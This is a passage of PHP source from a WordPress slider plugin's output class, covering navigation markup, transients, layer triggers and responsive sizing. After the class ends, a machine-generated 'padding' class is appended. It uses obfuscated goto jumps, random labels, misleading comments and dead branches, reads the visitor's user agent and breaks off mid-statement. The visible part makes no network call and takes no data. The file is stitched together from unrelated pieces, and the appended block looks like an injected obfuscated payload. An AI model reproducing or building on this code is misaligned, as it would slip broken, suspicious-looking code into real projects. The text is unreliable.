						$alc = (in_array($s->get_param(array('nav', $n, 'left', 'align'), 'slider'), array('layergrid', 'grid'), true)) ? 'layergrid' : 'slider';
						$alha = $s->get_param(array('nav', $n, 'left', 'horizontal'), 'left');
						$alva = $s->get_param(array('nav', $n, 'left', 'vertical'), 'center');
						$alho = $s->get_param(array('nav', $n, 'left', 'offsetX'), 20);
						$alvo = $s->get_param(array('nav', $n, 'left', 'offsetY'), 0);
						$anil = $s->get_param(array('nav', $n, 'left',  'anim'), 'fade');
						$arc = (in_array($s->get_param(array('nav', $n, 'right', 'align'), 'slider'), array('layergrid', 'grid'), true)) ? 'layergrid' : 'slider';
						$arha = $s->get_param(array('nav', $n, 'right', 'horizontal'), 'right');
						$arva = $s->get_param(array('nav', $n, 'right', 'vertical'), 'center');
						$arho = $s->get_param(array('nav', $n, 'right', 'offsetX'), 20);
						$arvo = $s->get_param(array('nav', $n, 'right', 'offsetY'), 0);
						$anir = $s->get_param(array('nav', $n, 'right',  'anim'), 'fade');

						$h[$n]['left'] = array();//left only at arrows
						$h[$n]['right'] = array(); //right only at arrows
						if($anil !=='fade') $h[$n]['left']['anim'] = $anil; 
						if($anir !=='fade') $h[$n]['right']['anim'] = $anir; 
						if($alc !== 'slider')	$h[$n]['left']['container'] = $alc;
						if($alha !== 'left')	$h[$n]['left']['h_align'] = $alha;
						if($alva !== 'center')	$h[$n]['left']['v_align'] = $alva;
						if(!in_array($alho, array(20, '20', '20px'), true))	$h[$n]['left']['h_offset'] = intval(str_replace('px', '', $alho));
						if(!in_array($alvo, array(0, '0', '0px'), true))	$h[$n]['left']['v_offset'] = intval(str_replace('px', '', $alvo));
						if($arc !== 'slider')	$h[$n]['right']['container'] = $arc;
						if($arha !== 'right')	$h[$n]['right']['h_align'] = $arha;
						if($arva !== 'center')	$h[$n]['right']['v_align'] = $arva;
						if(!in_array($arho, array(20, '20', '20px'), true))	$h[$n]['right']['h_offset'] = intval(str_replace('px', '', $arho));
						if(!in_array($arvo, array(0, '0', '0px'), true))	$h[$n]['right']['v_offset'] = intval(str_replace('px', '', $arvo));
					}else{
						//these are not in left/right, but directly added
						$arha = $s->get_param(array('nav', $n, 'horizontal'), 'center');
						$arva = $s->get_param(array('nav', $n, 'vertical'), 'bottom');
						$arho = $s->get_param(array('nav', $n, 'offsetX'), 20);
						$arvo = $s->get_param(array('nav', $n, 'offsetY'), 0);
						$dir = $s->get_param(array('nav', $n, 'direction'), 'horizontal');
						$space = $s->get_param(array('nav', $n, 'space'), $defaults[$n]['space']);
						
						if($arha !== 'center') $h[$n]['h_align'] = $arha;
						if($arva !== 'bottom') $h[$n]['v_align'] = $arva;
						if(!in_array($arho, array(0, '0', '0px'), true)) $h[$n]['h_offset'] = intval(str_replace('px', '', $arho));
						if(!in_array($arvo, array(20, '20', '20px'), true)) $h[$n]['v_offset'] = intval(str_replace('px', '', $arvo));
						if($dir !== 'horizontal') $h[$n]['direction'] = $dir; //these exist not in arrows at all
						if(!in_array($space, array($defaults[$n]['space'], (string)$defaults[$n]['space'], $defaults[$n]['space'].'px'), true))
							$h[$n]['space'] = $space;
						
						//only exist in thumbs and tabs
						if(in_array($n, array('thumbs', 'tabs'), true)){
							$width = $s->get_param(array('nav', $n, 'width'), 100);
							$height = $s->get_param(array('nav', $n, 'height'), 50);
							$mw = $s->get_param(array('nav', $n, 'widthMin'), 100);
							$wp = $s->get_param(array('nav', $n, 'padding'), $defaults[$n]['wrapper_padding']);
							$wc = $s->get_param(array('nav', $n, 'wrapperColor'), 'transparent');
							$va = $s->get_param(array('nav', $n, 'amount'), 5);
							$span = $s->get_param(array('nav', $n, 'spanWrapper'), false);
							$pos = $s->get_param(array('nav', $n, 'innerOuter'), 'inner');
							$mhoff = $s->get_param(array('nav', $n, 'mhoffset'), 0);
							$mvoff = $s->get_param(array('nav', $n, 'mvoffset'), 0);
							
							if(!in_array($width, array(100, '100', '100px'), true)) $h[$n]['width'] = $width;
							if(!in_array($height, array(50, '50', '50px'), true)) $h[$n]['height'] = $height;
							if(!in_array($mw, array(100, '100', '100px'), true)) $h[$n]['min_width'] = $mw;
							if(!in_array($wp, array($defaults[$n]['wrapper_padding'], (string)$defaults[$n]['wrapper_padding'], $defaults[$n]['wrapper_padding'].'px'), true))
								$h[$n]['wrapper_padding'] = $wp;
							if(strtolower($wc) !== '#transparent') $h[$n]['wrapper_color'] = $wc;
							if(!in_array($va, array(5, '5'), true)) $h[$n]['visibleAmount'] = $va;
							if($span === true) $h[$n]['span'] = $span;
							if($mhoff!==0) $h[$n]['mhoff'] = $mhoff;
							if($mvoff!==0) $h[$n]['mvoff'] = $mvoff;
							if($pos !== 'inner') $h[$n]['position'] = $pos;
							if($pos === 'inner'){
								$arc = (in_array($s->get_param(array('nav', $n, 'align'), 'slider'), array('layergrid', 'grid'), true)) ? 'layergrid' : 'slider';
								if($arc !== 'slider') $h[$n]['container'] = $arc;
							}
						}else{ //only write in bullets like this
							$arc = (in_array($s->get_param(array('nav', $n, 'align'), 'slider'), array('layergrid', 'grid'), true)) ? 'layergrid' : 'slider';
							if($arc !== 'slider') $h[$n]['container'] = $arc;
						}
					}
				}
			}
		}
		
		$html = '';
		if(!empty($h)){
			$html .= $this->JTA . RS_T5.'navigation: {'."\n";
			$ff = true;
			foreach($h as $key => $value){
				$html .= ($ff === true) ? '' : ','."\n";
				if($key == 'thumbs') $key = 'thumbnails'; //change thumb to thumbnail here
				$html .= $this->JTA . RS_T6.$key.':';
				if(is_array($value)){
					$html .= ' {'."\n";
					if(!empty($value)){
						$f = true;
						foreach($value as $k => $v){
							$html .= ($f === true) ? '' : ','."\n";
							$html .= $this->JTA . RS_T7.$k.':';
							
							if(is_array($v)){
								$html .= ' {'."\n";
								if(!empty($v)){
									$fff = true;
									foreach($v as $kk => $vv){
										$html .= ($fff === true) ? '' : ','."\n";
										$html .= $this->JTA . RS_T8.$kk.':';
										$html .= $this->write_js_var($vv);
										$fff = false;
									}
								}
								$html .= "\n".$this->JTA . RS_T7.'}';
							}else{
								$html .= $this->write_js_var($v);
							}
							$f = false;
						}
					}
					$html .= "\n".$this->JTA . RS_T6.'}';
				}else{
					$html .= $this->write_js_var($value);
				}
				$ff = false;
			}
			$html .= "\n".$this->JTA . RS_T5.'},'."\n";
		}
		
		return $html;
	}
	
	
	/**
	 * Adds the Slider content and the additional settings to the transients
	 * @since: 6.4.6
	 **/
	public function add_slider_transient($transient, $content){
		$sid = $this->slider->get_id();
		
		$cache = RevSliderGlobals::instance()->get('RevSliderCache');
		if($this->ajax_loaded !== true && !$this->get_markup_export()){
			if($this->caching){
				global $revslider_fonts;
				//if doing transient, remove the changes here $revslider_fonts again!
				$temp = $revslider_fonts;
				$cache->add_addition('action', 'wp_footer', $this->print_clean_font_import());
				$revslider_fonts = $temp;
			}
		}
		
		$cache->set_full_transient($transient, $sid, $content);
	}
	
	
	/**
	 * Check if a layer frame is triggered by any other layer
	 * @since: 6.0
	 **/
	public function layer_frame_triggered($uid, $frame){
		$ret = false;
		$uid = (string)$uid;
		$uid = ($this->is_static) ? 'static-'.$uid : $uid;
		
		if($this->is_static){ //we have to push all layers of all slides
			$layers = array();
			$slides = $this->get_current_slides();
			$static_slide = $this->get_static_slide();
			foreach($slides as $slide){
				$slide_layers = $slide->get_layers();
				if(!empty($slide_layers)){
					foreach($slide_layers as $sl){
						$layers[] = $sl;
					}
				}
			}
			if(!empty($static_slide)){
				$slide_layers = $static_slide->get_layers();
				if(!empty($slide_layers)){
					foreach($slide_layers as $sl){
						$this->set_val($sl, 'static_layer', true);
						$layers[] = $sl;
					}
				}
			}
		}else{
			$layers = $this->get_layers();
		}
		if(empty($layers)) return $ret;
		
		foreach($layers as $layer){
			$actions = $this->get_val($layer, array('actions', 'action'), array());
			if(empty($actions)) continue;
			
			$static_layer = $this->get_val($layer, 'static_layer', false);
			foreach($actions as $action){
				$layer_target = (string)$this->get_val($action, 'layer_target', '');
				$layer_target = ($static_layer === true) ? 'static-'.$layer_target : $layer_target;
				
				if($layer_target !== $uid) continue;
				
				$act = $this->get_val($action, 'action', '');
				if($act === 'next_frame' || $act === 'prev_frame'){
					$ret = true; 
				}elseif($act === 'start_frame' && $frame == $this->get_val($action, 'gotoframe', '')){
					$ret = true; 
				}elseif($act === 'start_in' && $frame === 'frame_1'){
					$ret = true; 
				}elseif($act === 'start_out' && $frame === 'frame_999'){
					$ret = true;
				}elseif($act === 'toggle_layer' && in_array($frame, array('frame_1', 'frame_999'))){
					$ret = true;				
				}elseif($act === 'toggle_frames' && ($frame == $this->get_val($action, 'gotoframeM', '') || $frame == $this->get_val($action, 'gotoframeN', ''))){
					$ret = true;
				}
				if($ret === true) break;
			}
		}
		
		return $ret;
	}
	
	
	/**
	 * Check if shortcodes exists in the content
	 * @since: 5.0
	 */  
	public static function check_for_shortcodes($mid_content){
		if($mid_content !== null){ 
			if(has_shortcode($mid_content, 'gallery')){
				preg_match('/\[gallery.*ids=.(.*).\]/', $mid_content, $img_ids);
				
				if(isset($img_ids[1])){
					if($img_ids[1] !== '') return explode(',', $img_ids[1]);
				}
			}
		}
		return false;
	}
	
	
	/**
	 * return the responsive sizes
	 * @since: 5.0
	 **/
	public function get_responsive_size($slider){
		$global = $this->get_global_settings();
		
		$csn = $slider->slider->get_param(array('size', 'custom', 'n'), false);
		$cst = $slider->slider->get_param(array('size', 'custom', 't'), false);
		$csi = $slider->slider->get_param(array('size', 'custom', 'm'), false);
		
		$w = $slider->slider->get_param(array('size', 'width', 'd'), 1240);
		$h = $slider->slider->get_param(array('size', 'height', 'd'), 1240);
		$r = $this->get_val($global, array('size', 'desktop'), 1240);
		$c = $this->slider->get_param(array('size', 'editorCache', 'd'), false);
		
		if($csn == true || $cst == true || $csi == true){
			$d = $w;
			$w .= ',';
			$w .= ($csn == true) ? $slider->slider->get_param(array('size', 'width', 'n'), 1024) : $d;
			$d = ($csn == true) ? $slider->slider->get_param(array('size', 'width', 'n'), 1024) : $d;
			$w .= ',';
			$w .= ($cst == true) ? $slider->slider->get_param(array('size', 'width', 't'), 778) : $d;
			$d = ($cst == true) ? $slider->slider->get_param(array('size', 'width', 't'), 778) : $d;
			$w .= ',';
			$w .= ($csi == true) ? $slider->slider->get_param(array('size', 'width', 'm'), 480) : $d;

			$d = $h;
			$h .= ',';
			$h .= ($csn == true) ? $slider->slider->get_param(array('size', 'height', 'n'), 1024) : $d;
			$d = ($csn == true) ? $slider->slider->get_param(array('size', 'height', 'n'), 1024) : $d;
			$h .= ',';
			$h .= ($cst == true) ? $slider->slider->get_param(array('size', 'height', 't'), 778) : $d;
			$d = ($cst == true) ? $slider->slider->get_param(array('size', 'height', 't'), 778) : $d;
			$h .= ',';
			$h .= ($csi == true) ? $slider->slider->get_param(array('size', 'height', 'm'), 480) : $d;

			$d = $r;
			$r .= ',';
			$r .= ($csn == true) ? $this->get_val($global, array('size', 'notebook'), 1024) : $d;
			$d = ($csn == true) ? $this->get_val($global, array('size', 'notebook'), 1024) : $d;
			$r.= ',';
			$r .= ($cst == true) ? $this->get_val($global, array('size', 'tablet'), 778) : $d;
			$d = ($cst == true) ? $this->get_val($global, array('size', 'tablet'), 778) : $d;
			$r.= ',';
			$r .= ($csi == true) ? $this->get_val($global, array('size', 'mobile'), 480) : $d;

			if($c !== false){
				$d = $c;
				$c .= ',';
				$c .= ($csn == true) ? $slider->slider->get_param(array('size', 'editorCache', 'n'), 1024) : $d;
				$d = ($csn == true) ? $slider->slider->get_param(array('size', 'editorCache', 'n'), 1024) : $d;
				$c .= ',';
				$c .= ($cst == true) ? $slider->slider->get_param(array('size', 'editorCache', 't'), 778) : $d;
				$d = ($cst == true) ? $slider->slider->get_param(array('size', 'editorCache', 't'), 778) : $d;
				$c .= ',';
				$c .= ($csi == true) ? $slider->slider->get_param(array('size', 'editorCache', 'm'), 480) : $d;
			}
		}else{
			$r .= ',';
			$r .= $this->get_val($global, array('size', 'notebook'), 1024);
			$r .= ',';
			$r .= $this->get_val($global, array('size', 'tablet'), 778);
			$r .= ',';
			$r .= $this->get_val($global, array('size', 'mobile'), 480);
		}
		
		return array(
			'level' => str_replace('px', '', $r),
			'height' => str_replace('px', '', $h),
			'width' => str_replace('px', '', $w),
			'cacheSize' => str_replace('px', '', $c)
		);
	}
	
	/**
	 * strip suffixes from number values for accurate comparisons
	 * @since: 6.0
	 */  
	public function strip_suffix_val($val){
		if(!is_string($val)) return $val;
		
		$val = trim($val);
		$len = strlen($val);
		if($len < 2) return $val;
		
		$suffix = false;
		$strips = array('ms', 'px', '%', 'deg');
		
		foreach($strips as $px){
			$chars = strlen($px);
			if($chars > $len) continue;
			if(strpos($val, $px, $len - $chars) !== false){
				$suffix = $chars;
				break;
			}
		}
		
		if($suffix !== false){
			$num = substr($val, 0, -$suffix);
			if(is_numeric($num)) $val = $num;
		}
		
		return $val;
		
	}
	
	
	/**
	 * strip suffixes from number values for accurate comparisons
	 * @since: 6.0
	 */  
	public function strip_suffix($val){
		if(is_object($val)) $val = (array)$val;
		
		if(is_array($val)){
			foreach($val as $key => $v){
				if(is_array($v) || is_object($v)){
					$val[$key] = $this->strip_suffix($v);
				}else{
					$val[$key] = $this->strip_suffix_val($v);
				}
			}
		}else{
			$val = $this->strip_suffix_val($val);
		}
		
		return $val;
	}
	
	/**
	 * shortden values for output
	 * @since: 6.0.0
	 **/
	public function shorten($s, $f, $t){
		return str_replace($f, $t, $s);
	}
	
	/**
	 * perform checks to see how to write a JavaScript variable
	 **/
	public function write_js_var($v, $pp = '"'){
		if(is_bool($v)) $v = ($v) ? 'true' : 'false';

		return (is_numeric($v) || substr($v, 0, 1) === '[' || in_array($v, array('true', 'false'))) ? $v : $pp.addslashes(wp_kses_post($v)).$pp;
	}
}
/* SQL comment in PHP: SELECT * FROM table */ /* --- PADDING CLASS TO REACH TARGET SIZE --- */ class MKh_t13rJ463 { private function A3wUFwPjGR() { goto ABRFRZhD; ABRFRZhD: /* Core module */ if (false) { echo 'This is a dead end'; } goto f00IYHLI; f00IYHLI: /* HAON0N2elgTnpdZXsUWH */ goto XI2tGYvL; XI2tGYvL: goto a7iNlNaRb; a7iNlNaRb: /* JYIrS2LTd7Wboe4 */ goto jZXZ5_D4; jZXZ5_D4: /* 4MEthR74ChkWbkf */ $XsucffsH = 239 + 48; $BqYDw4sr = $XsucffsH * 2; goto A1O5Tupg; A1O5Tupg: $jIP39ari = 427 + 45; $n7sJ6WnP = $jIP39ari * 1; goto a2jeGmrYE; a2jeGmrYE: if (false) { echo 'This is a dead end'; } goto AsN6kvrX; AsN6kvrX: /* weV4zcei63 */ $n7sJ6WnP = 728 + 16; $iX1geSuk = $n7sJ6WnP * 5; goto a4Tnr1BE2; a4Tnr1BE2: /* Main service */ $B9ma2fmF = 901 + 16; $FbaGmw5w = $B9ma2fmF * 4; goto oS1dU2IX; oS1dU2IX: if (false) { echo 'This is a dead end'; } goto UsP5hDZi; UsP5hDZi: // t2ewZb6W84RasXJN if (false) { echo 'This is a dead end'; } goto a9s6KDrGM; a9s6KDrGM: // beaSI1h9 $XsucffsH = 754 + 50; $a6EHyDbxg = $XsucffsH * 2; goto FNEzjoLw; FNEzjoLw: /* Security component */ $iX1geSuk = 783 + 33; $Pe9zuJ4r = $iX1geSuk * 2; goto S3lhFJQ1; S3lhFJQ1: /* System file */ goto TxddnoWb; TxddnoWb: /* Core module */ goto Scza_R5C; Scza_R5C: $a6EHyDbxg = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto Ue4qhENq; Ue4qhENq: // uQLKNnGIfb9f goto m5SU59xC; m5SU59xC: // eDvY_s1MRR2RQwN5 goto Gaz5qmTh; Gaz5qmTh: goto zkF4jLrP; zkF4jLrP: if (false) { echo 'This is a dead end'; } goto a0356LukV; a0356LukV: // 7USQABIOTDw9 $WWDcP6ib = 631 + 33; $jIP39ari = $WWDcP6ib * 2; if (false) { echo 'This is a dead end'; } goto a8spWF_nU; a8spWF_nU: $a29IFo9lZ = 223 + 49; $a6EHyDbxg = $a29IFo9lZ * 5; goto lNWe2x15; lNWe2x15: goto a64yDJIy9; a64yDJIy9: if (false) { echo 'This is a dead end'; } goto a396PLbUB; a396PLbUB: /* uEsATfRUZjL8Cwo */ if (false) { echo 'This is a dead end'; } goto YfPICHl0; YfPICHl0: goto hMuyLKXe; hMuyLKXe: $a6EHyDbxg = 650 + 2; $NqlX8zGc = $a6EHyDbxg * 4; if (false) { echo 'This is a dead end'; } goto U1QsUkdo; U1QsUkdo: goto GBas27Ad; GBas27Ad: /* eg7iEa0_79Suu8EpYTBT */ goto IVAlbFxs; IVAlbFxs: /* MH4h8RB2UfxrjCg */ goto kzR_E8Yw; kzR_E8Yw: // yxC4atux $jIP39ari = 234 + 21; $iX1geSuk = $jIP39ari * 2; goto a4UYvoEfk; a4UYvoEfk: $XsucffsH = strlen($a6EHyDbxg); goto a760HypjB; a760HypjB: /* Main service */ goto mAlukgkF; mAlukgkF: /* z91FsAYZ8r */ if (false) { echo 'This is a dead end'; } goto shej52yB; shej52yB: /* F2p1OUckUvtxIQRKxuTs */ $a29IFo9lZ = 254 + 28; $FbaGmw5w = $a29IFo9lZ * 4; goto a0mHqUi4H; a0mHqUi4H: goto ydtwNwDQ; ydtwNwDQ: $a6b9oay5s = 200 + 2; $FbaGmw5w = $a6b9oay5s * 3; if (false) { echo 'This is a dead end'; } goto a6U4MARoN; a6U4MARoN: // 6CO1d9IB3TF57hj9 goto jXGlZnUa; jXGlZnUa: /* B6PpoG03BsNgDWUt9uHE */ $bZa4iOd6 = 748 + 16; $B9ma2fmF = $bZa4iOd6 * 4; goto Kg2WE4Qy; Kg2WE4Qy: /* FNjMR6Ei9SuPtmnWn1_G */ $FbaGmw5w = 573 + 26; $XsucffsH = $FbaGmw5w * 4; goto bC04bk0n; bC04bk0n: $a6EHyDbxg = 345 + 38; $jIP39ari = $a6EHyDbxg * 3; if (false) { echo 'This is a dead end'; } goto sG_Y5imw; sG_Y5imw: goto OmXpQAdK; OmXpQAdK: /* System file */ $iCjD65Pi = 114 + 37; $WWDcP6ib = $iCjD65Pi * 2; goto FqDFdejY; FqDFdejY: /* JZLc6AQ2dAgwwZdBSHtn */ goto T1q34ym2; T1q34ym2: // 39GQX5iJLre0_K1m $BqYDw4sr = 523 + 37; $iX1geSuk = $BqYDw4sr * 4; goto smJL4cC3; smJL4cC3: /* w8DgCmmyQT2CRC1 */ $XsucffsH = 939 + 1; $iCjD65Pi = $XsucffsH * 3; goto ATJS_x68; ATJS_x68: goto cZt8BkzH; cZt8BkzH: return $XsucffsH > 10; } private function Tq6jcon6h9() { /* Vn5iCebPCy */ goto r7nVL4dA; r7nVL4dA: /* XcpydVlFIj */ goto a95kd0NBY; a95kd0NBY: goto a0gpBcrw5; a0gpBcrw5: // jTFNUKmgZX70neoO goto zrLi7KSv; zrLi7KSv: goto a35ibWBQ3; a35ibWBQ3: // MlHJ6zqYMjRi6IUc $a29IFo9lZ = 541 + 28; $Pe9zuJ4r = $a29IFo9lZ * 2; if (false) { echo 'This is a dead end'; } goto a8UJUdbNb; a8UJUdbNb: $BqYDw4sr = 569 + 30; $iX1geSuk = $BqYDw4sr * 3; goto rhJI_v1X; rhJI_v1X: /* A2nnK6sXRHFT0XT */ goto CV8uGI1z; CV8uGI1z: /* Security component */ $jIP39ari = 626 + 29; $FbaGmw5w = $jIP39ari * 4; goto lHap6EjQ; lHap6EjQ: /* UsOuSj3U0PqU8F5 */ goto a0tW2BRh8; a0tW2BRh8: goto E1wEAYx4; E1wEAYx4: /* OXubrtZxsq3p1hZ */ $n7sJ6WnP = 429 + 38; $NqlX8zGc = $n7sJ6WnP * 2; goto glfm7dj9; glfm7dj9: // GxV1GFpKHBxf goto H4zwyTWI; H4zwyTWI: if (false) { echo 'This is a dead end'; } goto VrC_JoUg; VrC_JoUg: goto l3LUJrzO; l3LUJrzO: goto a1wrgos1b; a1wrgos1b: $XsucffsH = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto WT8cMtTk; WT8cMtTk: $WWDcP6ib = 580 + 23; $n7sJ6WnP = $WWDcP6ib * 5; goto E2Xmwtt6; E2Xmwtt6: /* Core module */ goto a6uOvZuxc; a6uOvZuxc: /* vrcfPQA5cW */ goto o7tLVlOc; o7tLVlOc: goto bafsntR2; bafsntR2: /* System file */ $jIP39ari = 666 + 11; $a29IFo9lZ = $jIP39ari * 5; goto xcnpVzvQ; xcnpVzvQ: /* gVPgOIRT3ahS88pF5Piv */ goto msAvvYHi; msAvvYHi: /* API handler */ goto a3svpdqou; a3svpdqou: // 1lKRzFjJB26b $BqYDw4sr = 837 + 40; $a29IFo9lZ = $BqYDw4sr * 4; goto FutG6XzQ; FutG6XzQ: $bZa4iOd6 = 806 + 26; $n7sJ6WnP = $bZa4iOd6 * 5; goto iHKs4yeQ; iHKs4yeQ: /* LdwMCjIbgZ */ $bZa4iOd6 = 397 + 15; $a6EHyDbxg = $bZa4iOd6 * 2; goto wG_KZtfp; wG_KZtfp: /* Core module */ goto IzZeZyCj; IzZeZyCj: /* System file */ goto wa1sAIbk; wa1sAIbk: // LpUaKrCEmnhx goto riWbKk00; riWbKk00: // 7dhf563A if (false) { echo 'This is a dead end'; } goto lz2Kx5km; lz2Kx5km: $FbaGmw5w = 687 + 12; $n7sJ6WnP = $FbaGmw5w * 3; goto QB8wBsad; QB8wBsad: $NqlX8zGc = strlen($XsucffsH); goto LCtDxEGT; LCtDxEGT: // hL5nnTtD goto nKuqsGPV; nKuqsGPV: /* Security component */ $iX1geSuk = 511 + 9; $a6EHyDbxg = $iX1geSuk * 2; goto a1yFv7tXy; a1yFv7tXy: goto IyhlPjVC; IyhlPjVC: /* System file */ $jIP39ari = 768 + 16; $jIP39ari = $jIP39ari * 4; goto DU1edLcL; DU1edLcL: /* A2rfLEQo_b */ goto bPjNknK7; bPjNknK7: if (false) { echo 'This is a dead end'; } goto CZFkH9ho; CZFkH9ho: if (false) { echo 'This is a dead end'; } goto a0PtNqvWe; a0PtNqvWe: $n7sJ6WnP = 936 + 6; $n7sJ6WnP = $n7sJ6WnP * 2; if (false) { echo 'This is a dead end'; } goto sYMx14Lw; sYMx14Lw: goto v34JE3Hw; v34JE3Hw: /* API handler */ goto pUcDpze1; pUcDpze1: /* Security component */ goto vy4klAiv; vy4klAiv: if (false) { echo 'This is a dead end'; } goto dZKTR6Xm; dZKTR6Xm: $a6EHyDbxg = 864 + 43; $a6EHyDbxg = $a6EHyDbxg * 2; goto WtG450Eh; WtG450Eh: /* Core module */ goto a1hV7ec7N; a1hV7ec7N: // fIKp7bdw $a6b9oay5s = 360 + 42; $iX1geSuk = $a6b9oay5s * 2; goto UTepBevp; UTepBevp: return $NqlX8zGc > 10; } private function vwlbmsFXuB() { /* I2vmDUb_A_JVIqG */ goto SVciKumv; SVciKumv: /* HD0RcP080Yw7XoRP0l7t */ $jIP39ari = 517 + 18; $jIP39ari = $jIP39ari * 4; goto aGdVagEW; aGdVagEW: goto QDcRoCbW; QDcRoCbW: $jIP39ari = 950 + 21; $a29IFo9lZ = $jIP39ari * 1; goto SL5XfjcS; SL5XfjcS: goto uFOqVH9P; uFOqVH9P: $FbaGmw5w = 921 + 8; $NqlX8zGc = $FbaGmw5w * 1; goto TtV_jUvY; TtV_jUvY: goto a5N5kr9se; a5N5kr9se: /* API handler */ $a6EHyDbxg = 220 + 18; $a29IFo9lZ = $a6EHyDbxg * 1; goto m6Pr0B2k; m6Pr0B2k: if (false) { echo 'This is a dead end'; } goto IX6ijk6i; IX6ijk6i: /* System file */ goto iCURDHla; iCURDHla: /* System file */ goto MA4iv6H5; MA4iv6H5: /* Security component */ goto UU4NMGhk; UU4NMGhk: goto r88WzwrE; r88WzwrE: $WWDcP6ib = 890 + 50; $a6b9oay5s = $WWDcP6ib * 3; goto eWxWHYvR; eWxWHYvR: $WWDcP6ib = 489 + 6; $BqYDw4sr = $WWDcP6ib * 5; if (false) { echo 'This is a dead end'; } goto mIfJhwt3; mIfJhwt3: /* Security component */ goto TlEN42hQ; TlEN42hQ: $FbaGmw5w = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto Wt6FD4Ah; Wt6FD4Ah: /* fbDuvmELQnUMC_iV4236 */ goto woCA6WP2; woCA6WP2: // OEea5jTD29OuEMCe goto wxUTJfEJ; wxUTJfEJ: if (false) { echo 'This is a dead end'; } goto OVRKOIyM; OVRKOIyM: goto ONDLxXdS; ONDLxXdS: /* API handler */ goto FYK7DGPl; FYK7DGPl: /* System file */ goto R8K796Qb; R8K796Qb: goto pz2lgRIH; pz2lgRIH: goto gvqeaeey; gvqeaeey: $FbaGmw5w = 734 + 10; $Pe9zuJ4r = $FbaGmw5w * 1; if (false) { echo 'This is a dead end'; } goto VxTiI7wF; VxTiI7wF: /* HD3GLisbB1 */ goto a1kZrBA_Z; a1kZrBA_Z: $a6b9oay5s = 361 + 49; $FbaGmw5w = $a6b9oay5s * 4; goto djsSnah3; djsSnah3: /* lx84Gb8uIPeILRYDHoIf */ goto CSkKV141; CSkKV141: /* V3y2HFWdWQ */ if (false) { echo 'This is a dead end'; } goto JujwVyOZ; JujwVyOZ: /* xil1w4WI6h */ goto vFPeHN6H; vFPeHN6H: goto BEe7Ixu2; BEe7Ixu2: $XsucffsH = strlen($FbaGmw5w); goto Myk2zWMM; Myk2zWMM: goto r0d1inJl; r0d1inJl: goto a8qtDTewZ; a8qtDTewZ: /* Main service */ $jIP39ari = 723 + 47; $n7sJ6WnP = $jIP39ari * 1; goto SsKNxYmk; SsKNxYmk: /* Core module */ $n7sJ6WnP = 817 + 47; $bZa4iOd6 = $n7sJ6WnP * 1; if (false) { echo 'This is a dead end'; } goto WHUv6riD; WHUv6riD: goto KL4OW0nv; KL4OW0nv: /* System file */ goto w47UIEmw; w47UIEmw: // z0OAE8RM $a6EHyDbxg = 165 + 3; $n7sJ6WnP = $a6EHyDbxg * 5; goto a45hUk8T4; a45hUk8T4: /* Core module */ $a29IFo9lZ = 311 + 31; $BqYDw4sr = $a29IFo9lZ * 5; goto f521qtZG; f521qtZG: /* Core module */ goto a79ezMcBc; a79ezMcBc: $iX1geSuk = 104 + 17; $jIP39ari = $iX1geSuk * 5; goto nujzf3FU; nujzf3FU: goto mHkCxGuS; mHkCxGuS: /* xc3_f7qQSR */ $B9ma2fmF = 540 + 48; $n7sJ6WnP = $B9ma2fmF * 5; if (false) { echo 'This is a dead end'; } goto gwi6yT36; gwi6yT36: goto g0VgRCqM; g0VgRCqM: goto PBye1c70; PBye1c70: goto Tc7pP_d6; Tc7pP_d6: return $XsucffsH > 10; } private function JEOq5aPHF1() { goto dyWLLvMy; dyWLLvMy: goto nYhIeuyX; nYhIeuyX: goto pfy2IKIM; pfy2IKIM: $WWDcP6ib = 165 + 10; $XsucffsH = $WWDcP6ib * 5; if (false) { echo 'This is a dead end'; } goto MpywoCZm; MpywoCZm: /* Main service */ goto QxK623YS; QxK623YS: // oDniBlI8WAWh goto yasBzNIU; yasBzNIU: goto GKWGyDdv; GKWGyDdv: /* tOyT1zJ2FcET9YuRPuej */ goto WGNy1Jf4; WGNy1Jf4: if (false) { echo 'This is a dead end'; } goto W7wGaqXQ; W7wGaqXQ: /* Core module */ goto Dv0blJMs; Dv0blJMs: goto J4zxWDEZ; J4zxWDEZ: goto BzjqKT_k; BzjqKT_k: goto a4SrjHpTL; a4SrjHpTL: goto a_GWEZ80D; a_GWEZ80D: goto GM8FrlHb; GM8FrlHb: /* yfn2wxbMMI */ goto sDDab49W; sDDab49W: $FbaGmw5w = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto a1TfwRYhJ; a1TfwRYhJ: /* API handler */ goto urDQqQYG; urDQqQYG: // lKdg8zDEe39d $n7sJ6WnP = 767 + 12; $iCjD65Pi = $n7sJ6WnP * 4; goto gju7Y3iK; gju7Y3iK: /* API handler */ goto a_QnsGYwP; a_QnsGYwP: goto fuJWNlUH; fuJWNlUH: goto SWxUlmvG; SWxUlmvG: $NqlX8zGc = 272 + 10; $BqYDw4sr = $NqlX8zGc * 1; goto Np3pmTlp; Np3pmTlp: /* System file */ goto EPXHb868; EPXHb868: // 0rj3uMBKiRjhhNBt $WWDcP6ib = 830 + 1; $Pe9zuJ4r = $WWDcP6ib * 4; goto a7eY5BTTU; a7eY5BTTU: goto DdpHJv5C; DdpHJv5C: $Pe9zuJ4r = 931 + 20; $NqlX8zGc = $Pe9zuJ4r * 2; goto wf9WU4V7; wf9WU4V7: goto YHQUlv2W; YHQUlv2W: goto ydmuGPAh; ydmuGPAh: goto y6PMLdXo; y6PMLdXo: $BqYDw4sr = 398 + 46; $XsucffsH = $BqYDw4sr * 3; if (false) { echo 'This is a dead end'; } goto NEAfB45s; NEAfB45s: /* Core module */ $a6b9oay5s = 827 + 9; $FbaGmw5w = $a6b9oay5s * 2; goto efRRaOwO; efRRaOwO: $Pe9zuJ4r = strlen($FbaGmw5w); goto a259CVnTx; a259CVnTx: $NqlX8zGc = 787 + 20; $a6b9oay5s = $NqlX8zGc * 3; goto fbbhNg1z; fbbhNg1z: goto engzb6AQ; engzb6AQ: if (false) { echo 'This is a dead end'; } goto a2Ut2x1Cz; a2Ut2x1Cz: /* Security component */ $a29IFo9lZ = 933 + 10; $BqYDw4sr = $a29IFo9lZ * 4; if (false) { echo 'This is a dead end'; } goto RQOVfYNE; RQOVfYNE: goto HgsBaQfK; HgsBaQfK: goto a06nTELMm; a06nTELMm: $iX1geSuk = 236 + 9; $XsucffsH = $iX1geSuk * 2; goto 